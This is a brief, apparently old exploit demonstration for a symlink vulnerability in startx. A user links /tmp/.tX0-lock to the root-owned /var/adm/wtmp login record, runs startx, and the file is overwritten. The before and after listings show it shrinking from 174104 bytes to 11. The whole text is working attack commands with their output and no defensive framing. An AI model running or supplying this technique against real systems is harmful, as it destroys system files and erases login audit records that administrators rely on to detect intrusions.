Exploit:

 $ ls -l /var/adm/wtmp
 -rw-r--r--   1 root     root       174104 Dec 30 08:31 /var/adm/wtmp
 $ ln -s /var/adm/wtmp /tmp/.tX0-lock
 $ startx
 (At this point exit X if it started, or else ignore any error messages)
 $ ls -l /var/adm/wtmp
 -r--r--r--   1 root     root           11 Dec 30 08:33 /var/adm/wtmp